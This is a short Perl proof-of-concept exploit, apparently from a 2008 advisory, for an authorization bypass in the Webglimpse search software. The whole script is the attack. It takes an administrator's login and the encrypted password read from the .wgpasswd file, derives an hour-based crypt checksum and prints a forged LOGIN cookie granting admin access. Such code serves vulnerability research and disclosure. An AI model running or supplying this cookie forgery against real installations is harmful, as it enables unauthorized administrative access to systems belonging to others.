#!/usr/bin/perl
# Authorization bypass in Webglimpse 
# Made by MustLive (C) 2008
# http://websecurity.com.ua
# 18.11.2008
# Take admin's login and encrypted password from .wgpasswd
my $login = "login";
my $pass = "password";
my $hr = int time/3600;
my $checksum = crypt($pass.$hr, $pass);
print "\nCookie: LOGIN = $login:$checksum\n";